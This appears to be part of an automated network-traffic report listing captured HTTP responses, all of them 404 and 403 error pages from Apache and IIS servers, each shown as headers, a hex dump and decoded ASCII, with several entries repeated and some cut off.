Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sat, 02 Dec 2023 17:04:43 GMTServer: ApacheContent-Length: 315Content-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sat, 02 Dec 2023 17:04:43 GMTServer: ApacheContent-Length: 315Content-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Sat, 02 Dec 2023 17:04:43 GMTServer: ApacheSet-Cookie: vsid=929vr449082283924136028; expires=Thu, 30-Nov-2028 17:04:43 GMT; Max-Age=157680000; path=/; domain=airanatoliava.org; HttpOnlyContent-Length: 301Content-Type: text/html; charset=UTF-8Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 61 72 63 68 69 76 65 22 20 2f 3e 0d 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 67 6f 6f 67 6c 65 62 6f 74 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 73 6e 69 70 70 65 74 22 20 2f 3e 0d 0a 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 64 69 76 20 61 6c 69 67 6e 3d 63 65 6e 74 65 72 3e 0d 0a 3c 68 33 3e 45 72 72 6f 72 2e 20 50 61 67 65 20 63 61 6e 6e 6f 74 20 62 65 20 64 69 73 70 6c 61 79 65 64 2e 20 50 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 79 6f 75 72 20 73 65 72 76 69 63 65 20 70 72 6f 76 69 64 65 72 20 66 6f 72 20 6d 6f 72 65 20 64 65 74 61 69 6c 73 2e 20 20 28 32 39 29 3c 2f 68 33 3e 0d 0a 20 20 20 20 3c 21 2d 2d 2d 20 31 34 39 2e 31 38 2e 32 34 2e 31 31 30 2d 2d 2d 3e 0d 0a 3c 2f 64 69 76 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e Data Ascii: <html><head><meta name="robots" content="noarchive" /><meta name="googlebot" content="nosnippet" /></head><body><div align=center><h3>Error. Page cannot be displayed. Please contact your service provider for more details. (29)</h3> <!--- 149.18.24.110---></div></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/htmlServer: Microsoft-IIS/7.5X-Powered-By: ASP.NETDate: Sat, 02 Dec 2023 17:04:32 GMTContent-Length: 1163Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 67 62 32 33 31 32 22 2f 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 2d 20 d5 d2 b2 bb b5 bd ce c4 bc fe bb f2 c4 bf c2 bc a1 a3 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0d 0a 3c 21 2d 2d 0d 0a 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 2d 73 69 7a 65 3a 2e 37 65 6d 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 56 65 72 64 61 6e 61 2c 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 45 45 45 45 45 45 3b 7d 0d 0a 66 69 65 6c 64 73 65 74 7b 70 61 64 64 69 6e 67 3a 30 20 31 35 70 78 20 31 30 70 78 20 31 35 70 78 3b 7d 20 0d 0a 68 31 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 2e 34 65 6d 3b 6d 61 72 67 69 6e 3a 30 3b 63 6f 6c 6f 72 3a 23 46 46 46 3b 7d 0d 0a 68 32 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 37 65 6d 3b 6d 61 72 67 69 6e 3a 30 3b 63 6f 6c 6f 72 3a 23 43 43 30 30 30 30 3b 7d 20 0d 0a 68 33 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 32 65 6d 3b 6d 61 72 67 69 6e 3a 31 30 70 78 20 30 20 30 20 30 3b 63 6f 6c 6f 72 3a 23 30 30 30 30 30 30 3b 7d 20 0d 0a 23 68 65 61 64 65 72 7b 77 69 64 74 68 3a 39 36 25 3b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 30 3b 70 61 64 64 69 6e 67 3a 36 70 78 20 32 25 20 36 70 78 20 32 25 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 22 74 72 65 62 75 63 68 65 74 20 4d 53 22 2c 20 56 65 72 64 61 6e 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 63 6f 6c 6f 72 3a 23 46 46 46 3b 0d 0a 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 35 35 35 35 35 3b 7d 0d 0a 23 63 6f 6e 74 65 6e 74 7b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 32 25 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 7d 0d 0a 2e 63 6f 6e 74 65 6e 74 2d 63 6f 6e 74 61 69 6e 65 72 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 46 46 46 3b 77 69 64 74 68 3a 39 36 25 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 38 70 78 3b 70 61 64 64 69 6e 67 3a 31 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 7d 0d 0a 2d 2d 3e 0d 0a 3c 2f 73 74 79 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 64 69 76 20 69 64 3d 22 68 65 61 64 65 72 22 3e 3c 68 31 3e b7 fe ce f1 c6 f7 b4 ed ce f3 3c 2f 68 31 3e 3c 2f 64
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Server: Microsoft-IIS/10.0X-UA-Compatible: IE=edge,chrome=1X-Powered-By: PbootCMSSet-Cookie: lg=cn; path=/X-Powered-By: ASP.NETDate: Sat, 02 Dec 2023 17:04:43 GMTContent-Length: 766Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e e9 94 99 e8 af af e4 bf a1 e6 81 af 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 30 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 61 70 70 6c 65 2d 6d 6f 62 69 6c 65 2d 77 65 62 2d 61 70 70 2d 63 61 70 61 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 79 65 73 22 20 2f 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 0a 0a 3c 64 69 76 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 31 30 25 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 35 25 3b 22 3e 0a 20 20 20 20 3c 64 69 76 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 32 30 70 78 3b 22 3e 3c 69 6d 67 20 73 72 63 3d 22 2f 63 6f 72 65 2f 74 65 6d 70 6c 61 74 65 2f 66 61 63 65 30 32 2e 70 6e 67 22 20 68 65 69 67 68 74 3d 22 31 32 30 22 3e 3c 2f 64 69 76 3e 0a 20 20 20 20 3c 64 69 76 20 73 74 79 6c 65 3d 22 66 6f 6e 74 2d 73 69 7a 65 3a 32 30 70 78 3b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 32 30 70 78 3b 22 3e e6 82 a8 e8 ae bf e9 97 ae e7 9a 84 e9 a1 b5 e9 9d a2 e4 b8 8d e5 ad 98 e5 9c a8 ef bc 8c e8 af b7 e6 a0 b8 e5 af b9 e5 90 8e e9 87 8d e8 af 95 ef bc 81 20 3c 73 70 61 6e 20 69 64 3d 22 74 69 6d 65 22 20 73 74 79 6c 65 3d 22 66 6f 6e 74 2d 73 69 7a 65 3a 31 38 70 78 3b 22 3e 3c 2f 73 70 61 6e 3e 3c 2f 64 69 76 3e 0a 20 20 20 20 3c 64 69 76 3e 3c 73 70 61 6e 20 73 74 79 6c 65 3d 22 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 3b 62 6f 72 64 65 72 2d 74 6f 70 3a 31 70 78 20 73 6f 6c 69 64 20 23 63 63 63 3b 63 6f 6c 6f 72 3a 23 63 63 63 3b 70 61 64 64 69 6e 67 2d 74 6f 70 3a 32 70 78 3b 22 3e 0a 20 20 20 09 09 e7 a8 8b e5 ba 8f e7 89 88 e6 9c ac ef bc 9a 33 2e 32 2e 35 2d 32 30 32 33 30 34 32 31 0a 20 20 20 20 3c 2f 73 70 61 6e 3e 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 0a 0a 0a 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e Data Ascii: <!doctype html><html><head> <meta charset="utf-8"> <title></title> <meta name="viewport" content="width=device-width, initial-scale=1.0, minimum-scale=1.0, maximum-scale=1.0, user-scalable=0" /><meta name="apple-mobile-web-app-capable" content="yes" /></head><body><div style="margin-left:10%;margin-top:5%;"> <div style="margin-bottom:20px;"><img src="/core/template/face02.png" he
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Sat, 02 Dec 2023 17:04:44 GMTServer: ApacheSet-Cookie: vsid=921vr449082284121400791; expires=Thu, 30-Nov-2028 17:04:44 GMT; Max-Age=157680000; path=/; domain=furnscales.com; HttpOnlyContent-Length: 301Content-Type: text/html; charset=UTF-8Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 61 72 63 68 69 76 65 22 20 2f 3e 0d 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 67 6f 6f 67 6c 65 62 6f 74 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 73 6e 69 70 70 65 74 22 20 2f 3e 0d 0a 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 64 69 76 20 61 6c 69 67 6e 3d 63 65 6e 74 65 72 3e 0d 0a 3c 68 33 3e 45 72 72 6f 72 2e 20 50 61 67 65 20 63 61 6e 6e 6f 74 20 62 65 20 64 69 73 70 6c 61 79 65 64 2e 20 50 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 79 6f 75 72 20 73 65 72 76 69 63 65 20 70 72 6f 76 69 64 65 72 20 66 6f 72 20 6d 6f 72 65 20 64 65 74 61 69 6c 73 2e 20 20 28 32 31 29 3c 2f 68 33 3e 0d 0a 20 20 20 20 3c 21 2d 2d 2d 20 31 34 39 2e 31 38 2e 32 34 2e 31 31 30 2d 2d 2d 3e 0d 0a 3c 2f 64 69 76 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e Data Ascii: <html><head><meta name="robots" content="noarchive" /><meta name="googlebot" content="nosnippet" /></head><body><div align=center><h3>Error. Page cannot be displayed. Please contact your service provider for more details. (21)</h3> <!--- 149.18.24.110---></div></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Server: Microsoft-IIS/10.0X-UA-Compatible: IE=edge,chrome=1X-Powered-By: PbootCMSSet-Cookie: lg=cn; path=/X-Powered-By: ASP.NETDate: Sat, 02 Dec 2023 17:04:43 GMTContent-Length: 766Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e e9 94 99 e8 af af e4 bf a1 e6 81 af 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 30 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 61 70 70 6c 65 2d 6d 6f 62 69 6c 65 2d 77 65 62 2d 61 70 70 2d 63 61 70 61 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 79 65 73 22 20 2f 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 0a 0a 3c 64 69 76 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 31 30 25 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 35 25 3b 22 3e 0a 20 20 20 20 3c 64 69 76 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 32 30 70 78 3b 22 3e 3c 69 6d 67 20 73 72 63 3d 22 2f 63 6f 72 65 2f 74 65 6d 70 6c 61 74 65 2f 66 61 63 65 30 32 2e 70 6e 67 22 20 68 65 69 67 68 74 3d 22 31 32 30 22 3e 3c 2f 64 69 76 3e 0a 20 20 20 20 3c 64 69 76 20 73 74 79 6c 65 3d 22 66 6f 6e 74 2d 73 69 7a 65 3a 32 30 70 78 3b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 32 30 70 78 3b 22 3e e6 82 a8 e8 ae bf e9 97 ae e7 9a 84 e9 a1 b5 e9 9d a2 e4 b8 8d e5 ad 98 e5 9c a8 ef bc 8c e8 af b7 e6 a0 b8 e5 af b9 e5 90 8e e9 87 8d e8 af 95 ef bc 81 20 3c 73 70 61 6e 20 69 64 3d 22 74 69 6d 65 22 20 73 74 79 6c 65 3d 22 66 6f 6e 74 2d 73 69 7a 65 3a 31 38 70 78 3b 22 3e 3c 2f 73 70 61 6e 3e 3c 2f 64 69 76 3e 0a 20 20 20 20 3c 64 69 76 3e 3c 73 70 61 6e 20 73 74 79 6c 65 3d 22 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 3b 62 6f 72 64 65 72 2d 74 6f 70 3a 31 70 78 20 73 6f 6c 69 64 20 23 63 63 63 3b 63 6f 6c 6f 72 3a 23 63 63 63 3b 70 61 64 64 69 6e 67 2d 74 6f 70 3a 32 70 78 3b 22 3e 0a 20 20 20 09 09 e7 a8 8b e5 ba 8f e7 89 88 e6 9c ac ef bc 9a 33 2e 32 2e 35 2d 32 30 32 33 30 34 32 31 0a 20 20 20 20 3c 2f 73 70 61 6e 3e 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 0a 0a 0a 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e Data Ascii: <!doctype html><html><head> <meta charset="utf-8"> <title></title> <meta name="viewport" content="width=device-width, initial-scale=1.0, minimum-scale=1.0, maximum-scale=1.0, user-scalable=0" /><meta name="apple-mobile-web-app-capable" content="yes" /></head><body><div style="margin-left:10%;margin-top:5%;"> <div style="margin-bottom:20px;"><img src="/core/template/face02.png" he
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Sat, 02 Dec 2023 17:04:44 GMTServer: ApacheSet-Cookie: vsid=935vr449082284161533626; expires=Thu, 30-Nov-2028 17:04:44 GMT; Max-Age=157680000; path=/; domain=airanatoliava.org; HttpOnlyContent-Length: 301Content-Type: text/html; charset=UTF-8Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 61 72 63 68 69 76 65 22 20 2f 3e 0d 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 67 6f 6f 67 6c 65 62 6f 74 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 73 6e 69 70 70 65 74 22 20 2f 3e 0d 0a 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 64 69 76 20 61 6c 69 67 6e 3d 63 65 6e 74 65 72 3e 0d 0a 3c 68 33 3e 45 72 72 6f 72 2e 20 50 61 67 65 20 63 61 6e 6e 6f 74 20 62 65 20 64 69 73 70 6c 61 79 65 64 2e 20 50 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 79 6f 75 72 20 73 65 72 76 69 63 65 20 70 72 6f 76 69 64 65 72 20 66 6f 72 20 6d 6f 72 65 20 64 65 74 61 69 6c 73 2e 20 20 28 33 35 29 3c 2f 68 33 3e 0d 0a 20 20 20 20 3c 21 2d 2d 2d 20 31 34 39 2e 31 38 2e 32 34 2e 31 31 30 2d 2d 2d 3e 0d 0a 3c 2f 64 69 76 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e Data Ascii: <html><head><meta name="robots" content="noarchive" /><meta name="googlebot" content="nosnippet" /></head><body><div align=center><h3>Error. Page cannot be displayed. Please contact your service provider for more details. (35)</h3> <!--- 149.18.24.110---></div></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/htmlServer: Microsoft-IIS/7.5X-Powered-By: ASP.NETDate: Sat, 02 Dec 2023 17:04:32 GMTContent-Length: 1163Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 67 62 32 33 31 32 22 2f 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 2d 20 d5 d2 b2 bb b5 bd ce c4 bc fe bb f2 c4 bf c2 bc a1 a3 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0d 0a 3c 21 2d 2d 0d 0a 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 2d 73 69 7a 65 3a 2e 37 65 6d 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 56 65 72 64 61 6e 61 2c 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 45 45 45 45 45 45 3b 7d 0d 0a 66 69 65 6c 64 73 65 74 7b 70 61 64 64 69 6e 67 3a 30 20 31 35 70 78 20 31 30 70 78 20 31 35 70 78 3b 7d 20 0d 0a 68 31 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 2e 34 65 6d 3b 6d 61 72 67 69 6e 3a 30 3b 63 6f 6c 6f 72 3a 23 46 46 46 3b 7d 0d 0a 68 32 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 37 65 6d 3b 6d 61 72 67 69 6e 3a 30 3b 63 6f 6c 6f 72 3a 23 43 43 30 30 30 30 3b 7d 20 0d 0a 68 33 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 32 65 6d 3b 6d 61 72 67 69 6e 3a 31 30 70 78 20 30 20 30 20 30 3b 63 6f 6c 6f 72 3a 23 30 30 30 30 30 30 3b 7d 20 0d 0a 23 68 65 61 64 65 72 7b 77 69 64 74 68 3a 39 36 25 3b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 30 3b 70 61 64 64 69 6e 67 3a 36 70 78 20 32 25 20 36 70 78 20 32 25 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 22 74 72 65 62 75 63 68 65 74 20 4d 53 22 2c 20 56 65 72 64 61 6e 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 63 6f 6c 6f 72 3a 23 46 46 46 3b 0d 0a 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 35 35 35 35 35 3b 7d 0d 0a 23 63 6f 6e 74 65 6e 74 7b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 32 25 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 7d 0d 0a 2e 63 6f 6e 74 65 6e 74 2d 63 6f 6e 74 61 69 6e 65 72 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 46 46 46 3b 77 69 64 74 68 3a 39 36 25 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 38 70 78 3b 70 61 64 64 69 6e 67 3a 31 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 7d 0d 0a 2d 2d 3e 0d 0a 3c 2f 73 74 79 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 64 69 76 20 69 64 3d 22 68 65 61 64 65 72 22 3e 3c 68 31 3e b7 fe ce f1 c6 f7 b4 ed ce f3 3c 2f 68 31 3e 3c 2f 64
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Sat, 02 Dec 2023 17:04:44 GMTServer: ApacheSet-Cookie: vsid=926vr44908228430151022; expires=Thu, 30-Nov-2028 17:04:44 GMT; Max-Age=157680000; path=/; domain=airanatoliava.org; HttpOnlyContent-Length: 301Content-Type: text/html; charset=UTF-8Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 61 72 63 68 69 76 65 22 20 2f 3e 0d 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 67 6f 6f 67 6c 65 62 6f 74 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 73 6e 69 70 70 65 74 22 20 2f 3e 0d 0a 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 64 69 76 20 61 6c 69 67 6e 3d 63 65 6e 74 65 72 3e 0d 0a 3c 68 33 3e 45 72 72 6f 72 2e 20 50 61 67 65 20 63 61 6e 6e 6f 74 20 62 65 20 64 69 73 70 6c 61 79 65 64 2e 20 50 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 79 6f 75 72 20 73 65 72 76 69 63 65 20 70 72 6f 76 69 64 65 72 20 66 6f 72 20 6d 6f 72 65 20 64 65 74 61 69 6c 73 2e 20 20 28 32 36 29 3c 2f 68 33 3e 0d 0a 20 20 20 20 3c 21 2d 2d 2d 20 31 34 39 2e 31 38 2e 32 34 2e 31 31 30 2d 2d 2d 3e 0d 0a 3c 2f 64 69 76 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e Data Ascii: <html><head><meta name="robots" content="noarchive" /><meta name="googlebot" content="nosnippet" /></head><body><div 